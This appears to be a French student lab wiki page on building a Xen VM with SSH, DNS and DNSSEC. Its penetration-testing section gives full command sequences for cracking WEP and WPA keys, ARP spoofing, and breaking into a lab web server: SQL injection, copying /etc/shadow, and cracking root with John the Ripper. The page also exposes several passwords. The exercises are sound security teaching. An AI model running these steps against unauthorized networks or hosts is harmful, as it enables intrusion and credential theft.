		<summary type="html">&lt;p&gt;Lwadbled : /* Iptables */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la machine virtuelle=&lt;br /&gt;
&lt;br /&gt;
On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :&lt;br /&gt;
&lt;br /&gt;
 $ export http_proxy=http://proxy.plil.fr:3128&lt;br /&gt;
&lt;br /&gt;
Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.&lt;br /&gt;
&lt;br /&gt;
 $ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye&lt;br /&gt;
&lt;br /&gt;
On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.&lt;br /&gt;
&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose1 storage&lt;br /&gt;
 $ lvcreate -L10G -n Bellerose2 storage&lt;br /&gt;
&lt;br /&gt;
Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose1&lt;br /&gt;
 $ mkfs.ext4 /dev/storage/Bellerose2&lt;br /&gt;
&lt;br /&gt;
On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.&lt;br /&gt;
&lt;br /&gt;
 $ vim /etc/xen/Bellerose.cfg&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/Bellerose2,xvda4,w'&lt;br /&gt;
               ]&lt;br /&gt;
 vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]&lt;br /&gt;
&lt;br /&gt;
On peut maintenant lancer notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ xl create -c /etc/xen/Bellerose.cfg&lt;br /&gt;
&lt;br /&gt;
Avec la commande :&lt;br /&gt;
&lt;br /&gt;
 $ cat /etc/fstab&lt;br /&gt;
&lt;br /&gt;
On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :&lt;br /&gt;
&lt;br /&gt;
 $ mkdir /mnt/xvda3&lt;br /&gt;
 $ mkdir /mnt/xvda4&lt;br /&gt;
 $ mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 $ mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Puis on déplace le répertoire var dans le disque xvda4 :&lt;br /&gt;
&lt;br /&gt;
 $ mv /var/* /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :&lt;br /&gt;
&lt;br /&gt;
 # /home vers xvda3&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 # /var vers xvda4&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
On monte le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
 mount -a&lt;br /&gt;
&lt;br /&gt;
Enfin avec lsblk, on peut voir les deux partitions de notre VM :&lt;br /&gt;
&lt;br /&gt;
 $ lsblk&lt;br /&gt;
 xvda3 202:3 0 10G 0 disk /home&lt;br /&gt;
 xvda4 202:4 0 10G 0 disk /var&lt;br /&gt;
&lt;br /&gt;
Enfin, nous activons l'IPv6 sur l'interface en modifiant &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
 &lt;br /&gt;
Pour quitter la VM : CTRL+]&lt;br /&gt;
&lt;br /&gt;
= Services Internet =&lt;br /&gt;
&lt;br /&gt;
== Serveur SSH ==&lt;br /&gt;
&lt;br /&gt;
 $ apt install openssh-server&lt;br /&gt;
&lt;br /&gt;
on édite le fichierde conf &amp;lt;code&amp;gt;/etc/ssh/sshd_config&amp;lt;/code&amp;gt; (via ssh key) :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin without-password // je l'ai repassé en &amp;quot;yes&amp;quot; suite au mail et le mdp root est celui de pifou habituel &lt;br /&gt;
 PubkeyAuthentication yes&lt;br /&gt;
&lt;br /&gt;
après on reload la conf&lt;br /&gt;
&lt;br /&gt;
 $ systemctl reload ssh&lt;br /&gt;
&lt;br /&gt;
On génère une clé ssh depuis notre zabeth avec &amp;lt;code&amp;gt;ssh-keygen -t ed25519&amp;lt;/code&amp;gt; et on l'ajoute dans &amp;lt;code&amp;gt;/.ssh/authorized_keys&amp;lt;/code&amp;gt; et c'est gooooood&lt;br /&gt;
&lt;br /&gt;
== Serveur DNS ==&lt;br /&gt;
&lt;br /&gt;
on achète le ndd&lt;br /&gt;
&lt;br /&gt;
on crée un &amp;quot;Glue Record&amp;quot; pour notre nameserver &amp;lt;code&amp;gt;ns1.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
on install bind&lt;br /&gt;
&lt;br /&gt;
 $ apt install bind9&lt;br /&gt;
&lt;br /&gt;
on configure &amp;lt;code&amp;gt;/etc/resolv.conf&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 nameserver 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
on configure bind &amp;lt;code&amp;gt;/etc/bind/named.conf.local&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.belle-rose.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
On ajoute nos ns &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND dans ta face&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL	604800&lt;br /&gt;
 @	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (&lt;br /&gt;
 			      2		; Serial&lt;br /&gt;
 			 604800		; Refresh&lt;br /&gt;
 			  86400		; Retry&lt;br /&gt;
 			2419200		; Expire&lt;br /&gt;
 			 604800 )	; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @	IN	NS	ns1.belle-rose.site.&lt;br /&gt;
 @	IN	NS	ns6.gandi.net.&lt;br /&gt;
 ns1	IN	A	193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Ensuite on peut tester notre conf avec&lt;br /&gt;
&lt;br /&gt;
 $ host -t any ns1.belle-rose.site localhost&lt;br /&gt;
 Using domain server:&lt;br /&gt;
 Name: localhost&lt;br /&gt;
 Address: 127.0.0.1#53&lt;br /&gt;
 Aliases: &lt;br /&gt;
 &lt;br /&gt;
 ns1.belle-rose.site has address 193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Et on incrémente aussi le Serial dans &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt; à 3.&lt;br /&gt;
&lt;br /&gt;
== Certificat ==&lt;br /&gt;
&lt;br /&gt;
Notre certificat Gandi nous a été retiré de force par quelqu'un de mal intentionné. De ce fait, nous avons utilisé un certificat &amp;lt;code&amp;gt;Let's Encrypt&amp;lt;/code&amp;gt;. Après avoir installé &amp;lt;code&amp;gt;certbot&amp;lt;/code&amp;gt;, on utilise simplement la commande :&lt;br /&gt;
&lt;br /&gt;
 certbot --apache&lt;br /&gt;
&lt;br /&gt;
https://www.belle-rose.site/ IZOK&lt;br /&gt;
&lt;br /&gt;
== DNSSEC ==&lt;br /&gt;
&lt;br /&gt;
On suit les étapes suivantes :&lt;br /&gt;
&lt;br /&gt;
1. On ajoute l’option &amp;lt;code&amp;gt;dnssec-enable yes;&amp;lt;/code&amp;gt; dans le fichier &amp;lt;code&amp;gt;named.conf.options&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. On crée un répertoire &amp;lt;code&amp;gt;belle-rose.site.dnssec&amp;lt;/code&amp;gt; pour y générer les clefs&lt;br /&gt;
&lt;br /&gt;
3. On crée la clef asymétrique de signature de clefs de zone :&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE belle-rose.site&lt;br /&gt;
&lt;br /&gt;
4. On crée la clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-keygen -a RSASHA1 -b 1024 -n ZONE belle-rose.site &lt;br /&gt;
&lt;br /&gt;
5. On renomme les deux paires de clefs obtenues en utilisant le nom de la zone comme préfixe puis en suffixant d’abord par la destination de la clef (-ksk pour la KSK ou -zsk pour la ZSK) puis par le type de clef (.key pour la clef publique ou .private pour la clef privée);&lt;br /&gt;
&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.key belle-rose.site-ksk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.key belle-rose.site-zsk.key&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+37138.private belle-rose.site-ksk.private&lt;br /&gt;
 $ mv Kbelle-rose.site.+005+35638.private belle-rose.site-zsk.private&lt;br /&gt;
&lt;br /&gt;
6. On inclue les clefs publiques dans votre fichier de zone &amp;lt;code&amp;gt;/etc/bind/db.belle-rose.site&amp;lt;/code&amp;gt;, et on incrémente le numéro de version de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-ksk.key&lt;br /&gt;
 $include /etc/bind/belle-rose.site.dnssec/belle-rose.site-zsk.key&lt;br /&gt;
  &lt;br /&gt;
7. On signe les enregistrements de la zone ;&lt;br /&gt;
&lt;br /&gt;
 $ dnssec-signzone -o belle-rose.site -k belle-rose.site-ksk ../db.belle-rose.site belle-rose.site-zsk&lt;br /&gt;
&lt;br /&gt;
8. On modifie le fichier &amp;lt;code&amp;gt;named.conf.local&amp;lt;/code&amp;gt; pour utiliser la zone signée de suffixe .signed :&lt;br /&gt;
&lt;br /&gt;
 $ vim ../named.conf.local&lt;br /&gt;
 zone &amp;quot;belle-rose.site&amp;quot; IN {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.belle-rose.site.signed&amp;quot;;&lt;br /&gt;
        allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
9. il ne reste plus qu’à communiquer la partie publique de la KSK (présente dans le fichier www.belle-rose.site-ksk.key) à notre registrar (sur gandi.net, dans la section &amp;quot;Manage DNSSEC&amp;quot; puis &amp;quot;DNS servers&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
  root@Bellerose:/etc/bind/belle-rose.site.dnssec# cat belle-rose.site-ksk.key &lt;br /&gt;
  ; This is a key-signing key, keyid 22094, for belle-rose.site.&lt;br /&gt;
  ; Created: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Publish: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  ; Activate: 20220111091701 (Tue Jan 11 09:17:01 2022)&lt;br /&gt;
  belle-rose.site. IN DNSKEY 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
&lt;br /&gt;
(on copie que la partie chiffrée, pas le record DNSKEY)&lt;br /&gt;
&lt;br /&gt;
10. Enfin, nous pouvons tester la configuration:&lt;br /&gt;
&lt;br /&gt;
 root@Bellerose:~# host -t any belle-rose.site&lt;br /&gt;
 belle-rose.site has RRSIG record DS 8 2 3600 20220210205226 20220111074233 56238 site. t5ANbAiG69DP5E9ccCIMtEEMs1urP6mSQpb210bDUbCD7vdXqONhLJ9M dcjyHQjhdTWKd9qc48tnY8fwL4PUeOYLexcaUEQgLMkbEBUDMzpcvMsb n4sM2BXgk7lJ9vyE1zsgfBNg7X8IV5c7sRrEuZyg7VbjPYmqx5BJ3cC8 Dy0=&lt;br /&gt;
 belle-rose.site has DS record 22094 5 2 86D5EAC51853FAA1865BB63C0F353EEB50D5A59093409E66A3F7044C AC3AF70F&lt;br /&gt;
 belle-rose.site name server ns6.gandi.net.&lt;br /&gt;
 belle-rose.site name server ns1.belle-rose.site.&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. bh2pFBuNXANoGib6RK5MAab6xy7jbUEYVOr6Pk/pa8weJPD/ACk0Z1pm urvc++ReoccxNxNy+BCd2Ri1GLhZ+kGXrF8xuNUYdyo+zpd+zZUgrx1C hKRSUqeBVpAn0uyDlRtG8cPPw01iYpDBCqmnif7+GblIH6eSJhOf+98d l8o=&lt;br /&gt;
 belle-rose.site has RRSIG record DNSKEY 5 2 604800 20220210082130 20220111082130 22094 belle-rose.site. JLB0MJqr8rfBq2MiVrZaRyDo/7/7V1GUGwCi108w8CgeUrIdImgXERY4 2nXQ21aym3Po0i+zs5DmEonEkTGMi63kjUG8ZeFjMCFm7KtNhRK8FkQk Be2yzv3odAhh/gmMyRsMa7yoLwaDWZVd4NkCJ6EaqNXP7yspcHD6pmHt 4RKJgCUo6zpLAJnFiU1cwIR+lS/HeFEW2OzOtvi/LH8bL1zewioEpTgi qHLplK68KR/1cX/4Dq2C3CaeChteMx//EkW9Vmwjg9BhRjE/VCa8P80w qJEiXeg8KXYLkCEiBK5ifgKy5EMxDG5q18ieRXaUc0F6FpG0A4POpTVx pscHmA==&lt;br /&gt;
 belle-rose.site has DNSKEY record 257 3 5 AwEAAbbNBQJskwFezV1LwDsxAkCVbOcy4X3/mgffMjd/3FIHZpkdVrk3 w88041cgWbVSmom0ma8fFNqntidWlO//rMPvKT0ex3dqCse7on3/odox vxR3Zh5hPdv4K7X35BLuZta4x/RCBLgiFVyXo12qqBl0Htxn2hRyycKv 2caEYwnyRI75KSrr5f5XtQS8LyZCbtmMAp5YJu1wiDxwLcUwwJKvYS+q dtq4sm3KwW+qbjcUswkMMjXNAsvzwZ5FyHcondvvPuErc+Fhdvpxyoq+ W44ynLRnz7cb3R44z/TXFCwNlQI3MWzFvhbDK1YeJLpqjgYrET4eqqka mbFMYuLPQzE=&lt;br /&gt;
 belle-rose.site has DNSKEY record 256 3 5 AwEAAdZrHCSjl8nMZ0pwfODUtCs4nD6iStiZzuBAfWTsm75qpG6JJzpr e3Oqqyr/Dm1bwXbLQUd0GNgGAidiAQtkbZIb/5ZQxuVxft2kp0GKUr34 44Bw1Gh8af1Npk9cqK368U6oD+EIrV2AnA2KC/KXm+DziNOkmifaFVvO rh6p91Ut&lt;br /&gt;
 belle-rose.site has RRSIG record NSEC 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. RXnysXybktajyP82ERJn1m9z/5dkOQABIzfUPf2/08jFQq96AMmEggH2 sAy/3wv6SKiwAvBN3dFkYtIefMAK0MdLykIwwLrGQwK1BSv5KKLCowtO Bdks2pjgBPFE4J/MnBnBXSm0HunudjziNgz+PN3bY/IieyPzIBfpHM0y UfM=&lt;br /&gt;
 belle-rose.site has NSEC record ns1.belle-rose.site. NS SOA RRSIG NSEC DNSKEY&lt;br /&gt;
 belle-rose.site has RRSIG record NS 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. GZRzkPkOu/RKjCE2+NWhHfTcicDCoaBq/QjimrrVPsMcse0pPebFZkTr lRHMLHZEglzopIigLwj3DQ7yjuB6EiAhudUWwZri82LjkVs+z5ItMPo6 kudNvs5oUqVGX7E6toy5rU11yBgPDNijuCI1aahUJpwAEOl9sGi9uJ9I NaI=&lt;br /&gt;
 belle-rose.site has RRSIG record SOA 5 2 604800 20220210082130 20220111082130 6672 belle-rose.site. rDQsyAPj2RG4epQ7AFGrpU4JzyAi1kif3X4N8L+53IrlNWMcByyCVtAA 1XRQ8+Ag7f8/Z7nMhLbRuPtEH6efhZJfhEOuuU0SK7Nernm6WgkCS4UI e4VVtXtbHLeM+CncfUywqpKRhyZB9qEpzloNdI6zyOlzS9bH9qMwZFSS TWY=&lt;br /&gt;
 belle-rose.site has SOA record ns1.belle-rose.site. postmaster.belle-rose.site. 6 604800 86400 2419200 604800&lt;br /&gt;
&lt;br /&gt;
= Tests d'intrusion =&lt;br /&gt;
&lt;br /&gt;
== Exploitation de failles du système ==&lt;br /&gt;
&lt;br /&gt;
Après plusieurs recherches, nous avons trouvé un petit soft permettant d'audit notre système et y afficher les possibles failles. &amp;gt; https://github.com/mzet-/linux-exploit-suggester&lt;br /&gt;
&lt;br /&gt;
En suivant la documentation :&lt;br /&gt;
&lt;br /&gt;
 $ wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh&lt;br /&gt;
 $ chmod +x les.sh &amp;amp;&amp;amp; ./les.sh&lt;br /&gt;
&lt;br /&gt;
On obtient les failles suivantes (audit réalisé sur notre VM) :&lt;br /&gt;
&lt;br /&gt;
 [+] [CVE-2021-27365] linux-iscsi&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2021-22555] Netfilter heap out-of-bounds write&lt;br /&gt;
 ...&lt;br /&gt;
 [+] [CVE-2019-13272] PTRACE_TRACEME&lt;br /&gt;
 ...&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
&lt;br /&gt;
On trouve l'interface suivante :&lt;br /&gt;
&lt;br /&gt;
 wlx40a5ef0127d0&lt;br /&gt;
&lt;br /&gt;
On essaie de démarrer l'interface sur le channel 3 :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlx40a5ef0127d0 3&lt;br /&gt;
&lt;br /&gt;
Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement &amp;quot;wlan0mon&amp;quot;. On ré-utilise la commande précédente avec le nouveau nom d'interface :&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng start wlan0mon 3&lt;br /&gt;
&lt;br /&gt;
On écoute ensuite tous les paquets dans l'air :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon&lt;br /&gt;
&lt;br /&gt;
On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon&lt;br /&gt;
&lt;br /&gt;
On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :&lt;br /&gt;
&lt;br /&gt;
 $ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon&lt;br /&gt;
&lt;br /&gt;
L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap&lt;br /&gt;
&lt;br /&gt;
On obtient alors :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]&lt;br /&gt;
 Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
== Cassage de mot de passe WPA-PSK par force brute ==&lt;br /&gt;
&lt;br /&gt;
 $ airmon-ng&lt;br /&gt;
 $ airmon-ng start wlan0mon 9&lt;br /&gt;
 $ airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :&lt;br /&gt;
&lt;br /&gt;
 $ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
On crée le dictionnaire contenant toutes les clefs à tester avec la commande &amp;lt;code&amp;gt;crunch&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 $ crunch 8 8 0123456789 -o dictionnaire.lst&lt;br /&gt;
&lt;br /&gt;
Pour savoir si un Handshake a été trouvé, on utilise la commande :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng psk*.cap&lt;br /&gt;
&lt;br /&gt;
On trouve : &lt;br /&gt;
&lt;br /&gt;
 #  BSSID               ESSID        Encryption&lt;br /&gt;
 1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)&lt;br /&gt;
&lt;br /&gt;
On peut alors lancer la commande de test des clefs :&lt;br /&gt;
&lt;br /&gt;
 $ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap&lt;br /&gt;
&lt;br /&gt;
Après un peu d'attente, on obtient la clef suivante :&lt;br /&gt;
&lt;br /&gt;
 KEY FOUND! [ 59906999 ]&lt;br /&gt;
&lt;br /&gt;
== Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP ==&lt;br /&gt;
&lt;br /&gt;
On branche un PC bleu sur une zabeth en ethernet et on lui configure une IP. Ensuite on peut installer dsniff et wireshark.&lt;br /&gt;
&lt;br /&gt;
On fait :&lt;br /&gt;
&lt;br /&gt;
 $ echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Puis on se fait passer pour le routeur (172.26.145.254) auprès de la zabeth (172.26.145.61):&lt;br /&gt;
&lt;br /&gt;
 $ arpspoof -t 172.26.145.61 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark, on peut voir les informations envoyées par la zabeth passer en clair.&lt;br /&gt;
&lt;br /&gt;
== Intrusion sur un serveur d’application Web ==&lt;br /&gt;
&lt;br /&gt;
Sur honey.plil.info : &lt;br /&gt;
&lt;br /&gt;
1. injection SQL&lt;br /&gt;
&lt;br /&gt;
2. connexion en tant qu'admin&lt;br /&gt;
&lt;br /&gt;
3. telechargement du fichier &amp;quot;config-db.php&amp;quot; (On remarque que il existe une BDD phpmyadmin) et &amp;quot;database.php&amp;quot; (ce fichier semble lui ne pas nous apporter d'informations)&lt;br /&gt;
&lt;br /&gt;
4. honey.plil.info/phpmyadmin -&amp;gt; connexion avec les logins trouvés dans le fichier &amp;quot;config-db.php&amp;quot; (phpmyadmin et gencovid19). On trouve alors une table &amp;quot;pma_users&amp;quot; indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).&lt;br /&gt;
&lt;br /&gt;
5. en essayant le mdp &amp;quot;gencovid19&amp;quot; avec ces identifiants sur phpmyadmin : on peut se connecter en tant que &amp;quot;root&amp;quot; sur la BDD et on trouve le mdp de rex dans la bdd &amp;quot;test&amp;quot; et table &amp;quot;users&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
6. connexion en ssh sur rex@honey.plil.info.&lt;br /&gt;
&lt;br /&gt;
7. comme indication : &amp;quot;le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets&amp;quot;. Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo =&amp;gt; bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :&lt;br /&gt;
&lt;br /&gt;
 $ crunch 4 4 abcdefghijklmnopqrstuvwxyz &amp;gt; dico.txt&lt;br /&gt;
&lt;br /&gt;
Et on double la taille des mots :&lt;br /&gt;
&lt;br /&gt;
 $ sed -i 's/\(.*\)/\1\1/' dico.txt&lt;br /&gt;
&lt;br /&gt;
On copie ensuite les fichiers &amp;quot;/etc/passwd&amp;quot; et &amp;quot;/etc/shadow&amp;quot; de rex@honey.plil.info sur notre zabeth. &lt;br /&gt;
&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/passwd .&lt;br /&gt;
 $ scp rex@honey.plil.info:/etc/shadow .&lt;br /&gt;
&lt;br /&gt;
On utilise alors l'utilitaire &amp;quot;shadow&amp;quot; pour obtenir un fichier contenant le mot de passe haché de root :&lt;br /&gt;
&lt;br /&gt;
 $ unshadow passwd shadow | head -1 &amp;gt; honey&lt;br /&gt;
&lt;br /&gt;
Puis on utilise &amp;quot;John the Ripper&amp;quot; pour cracker le mot de passe :&lt;br /&gt;
&lt;br /&gt;
 $ john -w:dico.txt honey&lt;br /&gt;
&lt;br /&gt;
Après quelques minutes, on peut afficher le mot de passe trouvé :&lt;br /&gt;
&lt;br /&gt;
 $ john --show honey&lt;br /&gt;
 root:fortfort:0:0:root:/root:/bin/bash&lt;br /&gt;
 1 password hash cracked, 0 left&lt;br /&gt;
&lt;br /&gt;
On trouve le mot de passe de root@honey.plil.info qui est &amp;quot;fortfort&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
= Point d'accès Wi-Fi authentifié via FreeRADIUS =&lt;br /&gt;
&lt;br /&gt;
== Configuration du point d'accès ==&lt;br /&gt;
&lt;br /&gt;
=== Point d'accès ===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord il faut configurer l'authentification EAP dans la configuration :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  aaa new-model&lt;br /&gt;
  aaa authentication login eap_rose group radius_rose&lt;br /&gt;
  radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin&lt;br /&gt;
  aaa group server radius radius_rose&lt;br /&gt;
  server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
Configurons le SSID :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  dot11 ssid SSID_ROSE&lt;br /&gt;
  vlan 5&lt;br /&gt;
   authentication open eap eap_rose&lt;br /&gt;
   authentication network-eap eap_rose&lt;br /&gt;
   authentication key-management wpa&lt;br /&gt;
   mbssid guest-mode&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On associe notre SSID à l'interface WIFI :&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface Dot11Radio0&lt;br /&gt;
   encryption vlan 5 mode ciphers aes-ccm tkip&lt;br /&gt;
   ssid SSID_ROSE&lt;br /&gt;
   mbssid&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On paramètre notre VLAN (5)&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
  &lt;br /&gt;
  interface Dot11Radio0.5&lt;br /&gt;
   encapsulation dot1Q 5&lt;br /&gt;
   no ip route-cache&lt;br /&gt;
   bridge-group 5&lt;br /&gt;
   bridge-group 5 subscriber-loop-control&lt;br /&gt;
   bridge-group 5 spanning-disabled&lt;br /&gt;
   bridge-group 5 block-unknown-source&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
&lt;br /&gt;
On configure l'interface filaire&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  interface GigabitEthernet0.5&lt;br /&gt;
  encapsulation dot1Q 5&lt;br /&gt;
  bridge-group 5&lt;br /&gt;
  exit&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Enfin, on configure l'IP de l'AP et sa gateway&lt;br /&gt;
&lt;br /&gt;
 conf t&lt;br /&gt;
 &lt;br /&gt;
  ip default-gateway 10.1.0.1&lt;br /&gt;
  interface BVI 1&lt;br /&gt;
   ip address 10.1.0.3 255.255.255.0&lt;br /&gt;
   exit&lt;br /&gt;
  exit&lt;br /&gt;
